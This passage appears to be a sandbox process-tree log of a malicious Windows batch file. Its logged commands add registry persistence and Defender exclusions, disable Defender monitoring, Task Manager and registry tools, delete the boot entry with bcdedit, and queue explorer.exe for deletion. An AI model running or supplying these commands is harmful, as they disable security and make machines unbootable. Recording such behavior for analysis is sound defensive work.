        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:6368
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:4596
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:1324
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:6560
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:7952
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:844
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:9856
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:7260
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:8652
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6456
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:7720
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:10652
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:1996
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" fill
        7⤵
        
        PID:4184
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:2940
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:5612
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:6368
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:7692
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:6020
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:3600
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:10464
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:10840
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:10724
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6612
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:4140
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:2656
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:8816
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" spam
        7⤵
        Executes a command shell one-liner
        
        PID:7004
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:5580
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:6996
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:944
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7336
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:8864
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:6040
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:11188
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:4088
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:1728
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:7496
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:9960
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:7252
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:1176
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" deskdump
        7⤵
        
        PID:4872
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:6212
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:3244
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:6504
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2172
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        Executes a command shell one-liner
        
        PID:8576
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:6208
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:10700
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:11048
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        
        PID:6468
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:5420
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:11156
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:7160
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:2448
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockshutdown
        7⤵
        
        PID:3948
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7044
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:6184
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:1264
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7884
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        Executes a command shell one-liner
        
        PID:7960
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:6296
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:9652
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:9764
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        
        PID:5712
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:11236
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:2472
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:4352
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:6916
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockinput
        7⤵
        
        PID:6532
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:6148
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:4972
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:6396
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:7244
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:8872
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:6924
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:11260
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:10640
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        
        PID:11192
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:7748
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:9184
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:2420
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:9848
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v PendingFileRenameOperations /t REG_MULTI_SZ /d "\??\C:\Windows\explorer.exe\0\0" /f
        7⤵
        
        PID:3688
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:4516
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1260
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /delete {current} /f
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:6804
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        7⤵
        Delays execution with timeout.exe
        
        PID:700
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq cmd.exe" /FO CSV
        7⤵
        Discovers running processes
        
        PID:8616
        
        C:\Windows\system32\find.exe
        
        find /c /v ""
        7⤵
        
        PID:8720
  - - C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" spam
      4⤵
      Executes a command shell one-liner
      PID:5588
    - - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        5⤵
        
        PID:4520
    - - C:\Windows\system32\net.exe
        
        net session
        5⤵
        
        PID:5924
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        6⤵
        
        PID:1812
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5072
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        6⤵
        
        PID:2352
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:4068
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:1792
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:1704
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        7⤵
        
        PID:3600
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:2660
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:3844
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:3724
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        7⤵
        
        PID:5420
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        7⤵
        
        PID:1704
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:6472
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:2196
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableScriptScanning $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:6736
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:1872
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:2568
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:4724
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:6332
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" kill_loop
        7⤵
        Executes a command shell one-liner
        
        PID:5088
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:6828
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7328
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7468
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8468
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:8128
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:10244
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:6300
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:7496
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:8188
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:7352
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:9636
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:9800
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" wipe
        7⤵
        
        PID:7076
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7892
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:6192
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:8000
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9136
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:11252
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:2196
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:7584
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:10232
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:11080
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" fill
        7⤵
        
        PID:6888
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7920
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7660
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7332
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7812
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:11160
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:6848
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:7052
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:7700
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:6892
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" spam
        7⤵
        
        PID:4248
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7412
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:1536
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7812
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:3208
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:1664
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:6428
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:10824
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:6972
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" deskdump
        7⤵
        
        PID:3532
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:1068
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:4240
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7268
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8804
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:8092
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:4568
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:700
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:7264
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:7968
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:10428
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:7872
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:7668
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockshutdown
        7⤵
        Executes a command shell one-liner
        
        PID:6788
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7256
        
